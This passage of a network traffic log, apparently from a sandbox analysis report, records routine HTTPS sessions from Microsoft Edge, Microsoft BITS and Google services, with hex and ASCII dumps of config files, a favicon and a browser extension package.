2024-09-01 00:48:21 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49773	13.107.246.73	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:21 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:48:21 UTC	559	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:21 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Fri, 23 Aug 2024 00:10:35 GMT ETag: 0x8DCC30802EF150E x-ms-request-id: 903262f1-801e-001b-4826-f94695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T004821Z-165795675762h26c6ze2t4q76000000005p000000000h52x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-09-01 00:48:21 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49785	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-01 00:48:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=230237 Date: Sun, 01 Sep 2024 00:48:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49787	142.250.80.110	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:23 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 00:48:23 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sun, 01 Sep 2024 00:48:23 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49788	142.250.80.110	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:23 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 00:48:23 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sun, 01 Sep 2024 00:48:23 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49789	142.251.40.196	443	4268	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:23 UTC	887	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.2045.47" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 00:48:23 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 31 Aug 2024 23:20:50 GMT Expires: Sun, 08 Sep 2024 23:20:50 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 5253 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-01 00:48:23 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-09-01 00:48:23 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-09-01 00:48:23 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-09-01 00:48:23 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-09-01 00:48:23 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49790	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-01 00:48:24 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=230236 Date: Sun, 01 Sep 2024 00:48:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-01 00:48:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49806	13.107.246.57	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:33 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:48:33 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:33 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Fri, 23 Aug 2024 00:10:35 GMT ETag: 0x8DCC30802EF150E x-ms-request-id: 903262f1-801e-001b-4826-f94695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T004833Z-16579567576txfkctmnqv2e9c400000005a000000000eges Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-09-01 00:48:33 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49808	142.250.185.129	443	8384	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 00:48:33 UTC	594	OUT	GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 00:48:33 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AD-8lju2LY-4SAGb0zhiQ4CEcEK30XwtxALHgJ-4n_1xB0a78B_nHHYy1P2l09WH_8SsWA131w X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Sat, 31 Aug 2024 19:26:09 GMT Expires: Sun, 31 Aug 2025 19:26:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Age: 19344 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-01 00:48:33 UTC	825	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d b9 f8 4a 3a 06 39 87 17 Data Ascii: 0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>J:9
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad ba 65 8d f2 aa de 35 a2 Data Ascii: DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewWe5
2024-09-01 00:48:33 UTC	1390	IN	Data Raw: 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d 14 50 5d 28 7c 07 9c 0d Data Ascii: :fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~P](\|
